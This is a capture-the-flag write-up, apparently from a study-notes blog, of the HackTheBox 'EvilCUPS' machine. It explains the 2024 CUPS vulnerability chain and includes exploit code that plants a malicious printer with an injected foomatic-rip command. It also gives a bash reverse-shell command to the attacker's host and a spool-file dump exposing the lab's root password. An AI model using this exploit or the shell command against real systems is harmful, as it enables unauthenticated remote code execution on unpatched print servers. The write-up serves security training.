Introduction

EvilCUPS focuses on the recent CUPS vulnerabilities that gained attention in September 2024. We’ll exploit four of the latest CVEs to achieve remote code execution on a Linux system via cupsd. In the privilege escalation phase, We’ll locate an old print job and regenerate the PDF to reveal the root password.

Windows Active Directory Penetration Testing Study Notes

OSCP Study Notes

HackTheBox EvilCUPS Machine Synopsis

EvilCUPS is a Medium difficulty Linux machine that features a CUPS Command Injection Vulnerability [CVE-2024-47176](https://nvd.nist.gov/vuln/detail/CVE-2024-47176). This CVE allows remote unauthenticated users the ability to install a malicious printer on the vulnerable machine over `UDP/631`. This printer is configured to utilize [Foomatic-RIP](https://linux.die.net/man/1/foomatic-rip) which is used to process documents and where the command injection happens. In order to trigger the command execution, a document needs to be printed. The CUPS Webserver is configured to allow anonymous users access to `TCP/631`. Navigating here makes it possible to print a test page on the malicious printer and gain access as the “lp” user. This user the ability to retrieve past print jobs, one of which contains the root password to the box.

Nmap Scanning

Below is the output of the nmap scanning:

nmap -p 22,631 -sCV 10.10.11.40
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 36:49:95:03:8d:b4:4c:6e:a9:25:92:af:3c:9e:06:66 (ECDSA)
|_  256 9f:a4:a9:39:11:20:e0:96:ee:c4:9a:69:28:95:0c:60 (ED25519)
631/tcp open  ipp     CUPS 2.4
|_http-title: Home - CUPS 2.4.2
| http-robots.txt: 1 disallowed entry 
|_/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeration

CUPS – TCP 631

Navigating to the webpage, we can note the below observations:

CUPS provides a web interface for managing printers. It’s currently running version 2.4.2, with the copyright at the bottom indicating the years 2021-2022.

In the “Printers” tab, there’s one installed printer. The printer’s page displays various administrative options. While there are no active print jobs listed at the bottom, there are a few completed ones.

Overview of CUPS

CUPS (Common UNIX Printing System) is a modular printing system commonly used in UNIX-like operating systems, including Linux and macOS, to manage and configure printers. CUPS enables a computer to act as a print server, allowing it to send print jobs to connected printers or networked printers. It provides a standardized interface for printing and supports multiple printer drivers, enabling it to work with a wide range of printers, from basic to advanced models.

Here’s a breakdown of how CUPS works and its key components:

  1. Print Server: CUPS can manage printers on a local machine or across a network, enabling multiple devices to send print jobs to a single or multiple printers.
  2. Printer Drivers: CUPS supports various printer drivers, making it compatible with numerous printer models. It translates the print job into a language the printer understands (e.g., PostScript or PCL).
  3. Web Interface: CUPS includes a web-based interface (usually accessible via localhost:631), allowing users to manage printers, view active print jobs, and configure printing settings.
  4. Protocols Supported: It primarily uses the Internet Printing Protocol (IPP) to handle print jobs and queues but can also support other printing protocols such as LPD (Line Printer Daemon) and SMB (Server Message Block).
  5. Cross-platform Compatibility: CUPS is cross-platform, meaning it can be used not just on UNIX-based systems like Linux and macOS, but also on Windows machines, given the right configurations.
  6. Open-source: CUPS is open-source software and has been widely adopted because of its flexibility and community support. It is developed and maintained by Apple Inc., which incorporated CUPS into macOS to manage printing.

CUPS Vulnerabilities & CVEs

  • CVE-2024-47176: This affects cups-browsed, the service typically listening on UDP port 631 across all interfaces, which allows remote printer additions. The vulnerability lets an attacker send a “Get-Printer-Attributes” Internet Printing Protocol (IPP) request to an attacker-controlled URL. It was mitigated by disabling cups-browsed.
  • CVE-2024-47076: This impacts libcupsfilters, which processes IPP attributes from the request and writes them to a temporary PostScript Printer Description (PPD) file without proper sanitization, enabling malicious attributes to be stored.
  • CVE-2024-47175: This involves libppd, which reads the temporary PPD file and converts it into a printer object on the system. It also lacks input sanitization, allowing an attacker to inject harmful data.
  • CVE-2024-47177: A flaw in cups-filters enables the use of the foomatic-rip print filter, which converts PostScript or PDF data into a format the printer can understand. This filter has long been vulnerable to command injection, though its use has been restricted to manual installation and configuration.

By combining these vulnerabilities, an attacker can remotely add a malicious printer to a system, and when a page is printed, the vulnerability will trigger, allowing the attacker to execute their command.

CUPS Printer POC Exploit

The __main__ function provides a clear overview of the script’s operation:

  1. It first sets up an IPP server that hosts information about a malicious printer.
  2. Then, it sends a browsed packet to trigger the request. This browsed packet is crafted based on a specific standard and is sent as a UDP packet to the CUPS port, prompting an IPP request to be returned to the attacker’s server.
if __name__ == "__main__":
if len(sys.argv) != 4:
print("%s <LOCAL_HOST> <TARGET_HOST> <COMMAND>" % sys.argv[0])
quit()

SERVER_HOST = sys.argv[1]
SERVER_PORT = 12345

command = sys.argv[3]

server = IPPServer((SERVER_HOST, SERVER_PORT),
IPPRequestHandler, MaliciousPrinter(command))

threading.Thread(
target=run_server,
args=(server, )
).start()

TARGET_HOST = sys.argv[2]
TARGET_PORT = 631
send_browsed_packet(TARGET_HOST, TARGET_PORT, SERVER_HOST, SERVER_PORT)

print("Please wait this normally takes 30 seconds...")

seconds = 0
while True:
print(f"\r{seconds} elapsed", end="", flush=True)
time.sleep(1)
seconds += 1

The MaliciousPrinter class is mostly composed of typical attributes for a printer, but the final attribute is where the injection occurs:

  • The injected data starts with a newline, followed by adding a FoomaticRIPCommandLine, which includes the command the attacker wants to execute.
def send_browsed_packet(ip, port, ipp_server_host, ipp_server_port):
print(f"Sending udp packet to {ip}:{port}...")

# Get a random number between 0 and 100
printer_type = 2
printer_state = '3'
printer_uri = f'http://{ipp_server_host}:{ipp_server_port}/printers/EVILCUPS'
printer_location = '"You Have Been Hacked"'
printer_info = '"HACKED"'
printer_model = '"HP LaserJet 1020"'
packet = f"{printer_type:x} {printer_state} {printer_uri} {printer_location} {printer_info} {printer_model} \n"

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(packet.encode('utf-8'), (ip, port))

def run_server(server):
with ServerContext(server):
try:
while True:
time.sleep(.5)
except KeyboardInterrupt:
pass

server.shutdown()
class MaliciousPrinter(behaviour.StatelessPrinter):
def __init__(self, command):
self.command = command
super(MaliciousPrinter, self).__init__()

def printer_list_attributes(self):
attr = {
# rfc2911 section 4.4
(
SectionEnum.printer,
b'printer-uri-supported',
TagEnum.uri
): [self.printer_uri],
(
...[snip]...
(
SectionEnum.printer,
b'printer-more-info',
TagEnum.uri
): [f'"\n*FoomaticRIPCommandLine: "{self.command}"\n*cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip'.encode()],
...[snip]...

Adding a Fake Malicious Printer

We can begin by attempting to establish a shell. After running the PoC, it sends the UDP packet.

python evil-cups.py 10.10.12.3 10.10.11.40 'bash -c "bash -i >& /dev/tcp/10.10.12.3/4545 0>&1"'

This approach prevents the shell from dying every 5-10 minutes when the printer crashes due to not being a legitimate device and is subsequently cleaned up.

During execution, there’s a pause where it says it will take 30 seconds to respond, with a countdown. After 29 seconds, the target connects, and the printer payload is delivered:

At this stage, the printer is visible on the CUPS TCP web interface.

Next, From the printer’s page, one of the “Maintenance” options is “Print Test Page.” I’ll go ahead and select that option.

Doing that will deliver the shell to our listener so that we can get the user flag.

nc -lnvp 4545
Listening on 0.0.0.0 4545
Connection received on 10.10.11.40 56432
lp@evilcups:/$
lp@evilcups:/home/htb$ cat user.txt
2a7bfa97************************

Linux Privilege Escalation

The CUPS documentation indicates that “Job Files” are stored in /var/spool/cups. However, the lp user doesn’t have permission to list this directory. Fortunately, the documentation also specifies the filename format as D[5 digit int]-100, which allows us to check if the file corresponding to the print job exists—and it does.

lp@evilcups:/var/spool/cups$ cat d00001-001
%!PS-Adobe-3.0
%%BoundingBox: 18 36 577 806
%%Title: Enscript Output
%%Creator: GNU Enscript 1.6.5.90
%%CreationDate: Sat Sep 28 09:31:01 2024
%%Orientation: Portrait
%%Pages: (atend)
%%DocumentMedia: A4 595 842 0 () ()
%%DocumentNeededResources: (atend)
%%EndComments
%%BeginProlog
%%BeginResource: procset Enscript-Prolog 1.6.5 90
%
% Procedures.
%

/_S { % save current state
/_s save def
} def
/_R { % restore from saved state
_s restore
} def

/S { % showpage protecting gstate
gsave
showpage
grestore
} bind def

/MF { % fontname newfontname -> - make a new encoded font
/newfontname exch def
/fontname exch def

/fontdict fontname findfont def
/newfont fontdict maxlength dict def

fontdict {
exch
dup /FID eq {
% skip FID pair
pop pop
} {
% copy to the new font dictionary
exch newfont 3 1 roll put
} ifelse
} forall

newfont /FontName newfontname put

% insert only valid encoding vectors
encoding_vector length 256 eq {
newfont /Encoding encoding_vector put
} if

newfontname newfont definefont pop
} def

/MF_PS { % fontname newfontname -> - make a new font preserving its enc
/newfontname exch def
/fontname exch def

/fontdict fontname findfont def
/newfont fontdict maxlength dict def

fontdict {
exch
dup /FID eq {
% skip FID pair
pop pop
} {
% copy to the new font dictionary
exch newfont 3 1 roll put
} ifelse
} forall

newfont /FontName newfontname put

newfontname newfont definefont pop
} def

/SF { % fontname width height -> - set a new font
/height exch def
/width exch def

findfont
[width 0 0 height 0 0] makefont setfont
} def

/SUF { % fontname width height -> - set a new user font
/height exch def
/width exch def

/F-gs-user-font MF
/F-gs-user-font width height SF
} def

/SUF_PS { % fontname width height -> - set a new user font preserving its enc
/height exch def
/width exch def

/F-gs-user-font MF_PS
/F-gs-user-font width height SF
} def

/M {moveto} bind def
/s {show} bind def

/Box { % x y w h -> - define box path
/d_h exch def /d_w exch def /d_y exch def /d_x exch def
d_x d_y moveto
d_w 0 rlineto
0 d_h rlineto
d_w neg 0 rlineto
closepath
} def

/bgs { % x y height blskip gray str -> - show string with bg color
/str exch def
/gray exch def
/blskip exch def
/height exch def
/y exch def
/x exch def

gsave
x y blskip sub str stringwidth pop height Box
gray setgray
fill
grestore
x y M str s
} def

/bgcs { % x y height blskip red green blue str -> - show string with bg color
/str exch def
/blue exch def
/green exch def
/red exch def
/blskip exch def
/height exch def
/y exch def
/x exch def

gsave
x y blskip sub str stringwidth pop height Box
red green blue setrgbcolor
fill
grestore
x y M str s
} def

% Highlight bars.
/highlight_bars { % nlines lineheight output_y_margin gray -> -
gsave
setgray
/ymarg exch def
/lineheight exch def
/nlines exch def

% This 2 is just a magic number to sync highlight lines to text.
0 d_header_y ymarg sub 2 sub translate

/cw d_output_w cols div def
/nrows d_output_h ymarg 2 mul sub lineheight div cvi def

% for each column
0 1 cols 1 sub {
cw mul /xp exch def

% for each rows
0 1 nrows 1 sub {
/rn exch def
rn lineheight mul neg /yp exch def
rn nlines idiv 2 mod 0 eq {
% Draw highlight bar. 4 is just a magic indentation.
xp 4 add yp cw 8 sub lineheight neg Box fill
} if
} for
} for

grestore
} def

% Line highlight bar.
/line_highlight { % x y width height gray -> -
gsave
/gray exch def
Box gray setgray fill
grestore
} def

% Column separator lines.
/column_lines {
gsave
.1 setlinewidth
0 d_footer_h translate
/cw d_output_w cols div def
1 1 cols 1 sub {
cw mul 0 moveto
0 d_output_h rlineto stroke
} for
grestore
} def

% Column borders.
/column_borders {
gsave
.1 setlinewidth
0 d_footer_h moveto
0 d_output_h rlineto
d_output_w 0 rlineto
0 d_output_h neg rlineto
closepath stroke
grestore
} def

% Do the actual underlay drawing
/draw_underlay {
ul_style 0 eq {
ul_str true charpath stroke
} {
ul_str show
} ifelse
} def

% Underlay
/underlay { % - -> -
gsave
0 d_page_h translate
d_page_h neg d_page_w atan rotate

ul_gray setgray
ul_font setfont
/dw d_page_h dup mul d_page_w dup mul add sqrt def
ul_str stringwidth pop dw exch sub 2 div ul_h_ptsize -2 div moveto
draw_underlay
grestore
} def

/user_underlay { % - -> -
gsave
ul_x ul_y translate
ul_angle rotate
ul_gray setgray
ul_font setfont
0 0 ul_h_ptsize 2 div sub moveto
draw_underlay
grestore
} def

% Page prefeed
/page_prefeed { % bool -> -
statusdict /prefeed known {
statusdict exch /prefeed exch put
} {
pop
} ifelse
} def

% Wrapped line markers
/wrapped_line_mark { % x y charwith charheight type -> -
/type exch def
/h exch def
/w exch def
/y exch def
/x exch def

type 2 eq {
% Black boxes (like TeX does)
gsave
0 setlinewidth
x w 4 div add y M
0 h rlineto w 2 div 0 rlineto 0 h neg rlineto
closepath fill
grestore
} {
type 3 eq {
% Small arrows
gsave
.2 setlinewidth
x w 2 div add y h 2 div add M
w 4 div 0 rlineto
x w 4 div add y lineto stroke

x w 4 div add w 8 div add y h 4 div add M
x w 4 div add y lineto
w 4 div h 8 div rlineto stroke
grestore
} {
% do nothing
} ifelse
} ifelse
} def

% EPSF import.

/BeginEPSF {
/b4_Inc_state save def % Save state for cleanup
/dict_count countdictstack def % Count objects on dict stack
/op_count count 1 sub def % Count objects on operand stack
userdict begin
/showpage { } def
0 setgray 0 setlinecap
1 setlinewidth 0 setlinejoin
10 setmiterlimit [ ] 0 setdash newpath
/languagelevel where {
pop languagelevel
1 ne {
false setstrokeadjust false setoverprint
} if
} if
} bind def

/EndEPSF {
count op_count sub { pos } repeat % Clean up stacks
countdictstack dict_count sub { end } repeat
b4_Inc_state restore
} bind def

% Check PostScript language level.
/languagelevel where {
pop /gs_languagelevel languagelevel def
} {
/gs_languagelevel 1 def
} ifelse
%%EndResource
%%BeginResource: procset Enscript-Encoding-88591 1.6.5 90
/encoding_vector [
/.notdef /.notdef /.notdef /.notdef
/.notdef /.notdef /.notdef /.notdef
/.notdef /.notdef /.notdef /.notdef
/.notdef /.notdef /.notdef /.notdef
/.notdef /.notdef /.notdef /.notdef
/.notdef /.notdef /.notdef /.notdef
/.notdef /.notdef /.notdef /.notdef
/.notdef /.notdef /.notdef /.notdef
/space /exclam /quotedbl /numbersign
/dollar /percent /ampersand /quoteright
/parenleft /parenright /asterisk /plus
/comma /hyphen /period /slash
/zero /one /two /three
/four /five /six /seven
/eight /nine /colon /semicolon
/less /equal /greater /question
/at /A /B /C
/D /E /F /G
/H /I /J /K
/L /M /N /O
/P /Q /R /S
/T /U /V /W
/X /Y /Z /bracketleft
/backslash /bracketright /asciicircum /underscore
/quoteleft /a /b /c
/d /e /f /g
/h /i /j /k
/l /m /n /o
/p /q /r /s
/t /u /v /w
/x /y /z /braceleft
/bar /braceright /tilde /.notdef
/.notdef /.notdef /.notdef /.notdef
/.notdef /.notdef /.notdef /.notdef
/.notdef /.notdef /.notdef /.notdef
/.notdef /.notdef /.notdef /.notdef
/.notdef /.notdef /.notdef /.notdef
/.notdef /.notdef /.notdef /.notdef
/.notdef /.notdef /.notdef /.notdef
/.notdef /.notdef /.notdef /.notdef
/space /exclamdown /cent /sterling
/currency /yen /brokenbar /section
/dieresis /copyright /ordfeminine /guillemotleft
/logicalnot /hyphen /registered /macron
/degree /plusminus /twosuperior /threesuperior
/acute /mu /paragraph /bullet
/cedilla /onesuperior /ordmasculine /guillemotright
/onequarter /onehalf /threequarters /questiondown
/Agrave /Aacute /Acircumflex /Atilde
/Adieresis /Aring /AE /Ccedilla
/Egrave /Eacute /Ecircumflex /Edieresis
/Igrave /Iacute /Icircumflex /Idieresis
/Eth /Ntilde /Ograve /Oacute
/Ocircumflex /Otilde /Odieresis /multiply
/Oslash /Ugrave /Uacute /Ucircumflex
/Udieresis /Yacute /Thorn /germandbls
/agrave /aacute /acircumflex /atilde
/adieresis /aring /ae /ccedilla
/egrave /eacute /ecircumflex /edieresis
/igrave /iacute /icircumflex /idieresis
/eth /ntilde /ograve /oacute
/ocircumflex /otilde /odieresis /divide
/oslash /ugrave /uacute /ucircumflex
/udieresis /yacute /thorn /ydieresis
] def
%%EndResource
%%EndProlog
%%BeginSetup
%%IncludeResource: font Courier-Bold
%%IncludeResource: font Courier
/HFpt_w 10 def
/HFpt_h 10 def
/Courier-Bold /HF-gs-font MF
/HF /HF-gs-font findfont [HFpt_w 0 0 HFpt_h 0 0] makefont def
/Courier /F-gs-font MF
/F-gs-font 10 10 SF
/#copies 1 def
% Pagedevice definitions:
gs_languagelevel 1 gt {
<<
/PageSize [595 842]
>> setpagedevice
} if
%%BeginResource: procset Enscript-Header-simple 1.6.5 90

/do_header { % print default simple header
gsave
d_header_x d_header_y HFpt_h 3 div add translate

HF setfont
user_header_p {
5 0 moveto user_header_left_str show

d_header_w user_header_center_str stringwidth pop sub 2 div
0 moveto user_header_center_str show

d_header_w user_header_right_str stringwidth pop sub 5 sub
0 moveto user_header_right_str show
} {
5 0 moveto fname show
45 0 rmoveto fmodstr show
45 0 rmoveto pagenumstr show
} ifelse

grestore
} def
%%EndResource
/d_page_w 559 def
/d_page_h 770 def
/d_header_x 0 def
/d_header_y 755 def
/d_header_w 559 def
/d_header_h 15 def
/d_footer_x 0 def
/d_footer_y 0 def
/d_footer_w 559 def
/d_footer_h 0 def
/d_output_w 559 def
/d_output_h 755 def
/cols 1 def
%%EndSetup
%%Page: (1) 1
%%BeginPageSetup
_S
18 36 translate
/pagenum 1 def
/fname (pass.txt) def
/fdir (.) def
/ftail (pass.txt) def
% User defined strings:
/fmodstr (Sat Sep 28 09:30:10 2024) def
/pagenumstr (1) def
/user_header_p false def
/user_footer_p false def
%%EndPageSetup
do_header
5 742 M
(Br3@k-G!@ss-r00t-evilcups) s
_R
S
%%Trailer
%%Pages: 1
%%DocumentNeededResources: font Courier-Bold Courier
%%EOF

Although the root password is visible in plaintext in the file, it’s more interesting to recreate the actual printed document visually. To do this, we can copy the job file to my host system and use ps2pdf to convert it into a PDF, generating an image of the printed content.

user@kali$ ps2pdf d00001-001 d00001-001.pdf

After opening the PDF file, we can see that there is a txt file with plain text password:

Using this plain text password, we can switch users and escalate to root:

lp@evilcups:/var/spool/cups$ su -
Password:
root@evilcups:~#

You can also watch:

About the Author

Mastermind Study Notes is a group of talented authors and writers who are experienced and well-versed across different fields. The group is led by, Motasem Hamdan, who is a Cybersecurity content creator and YouTuber.

View Articles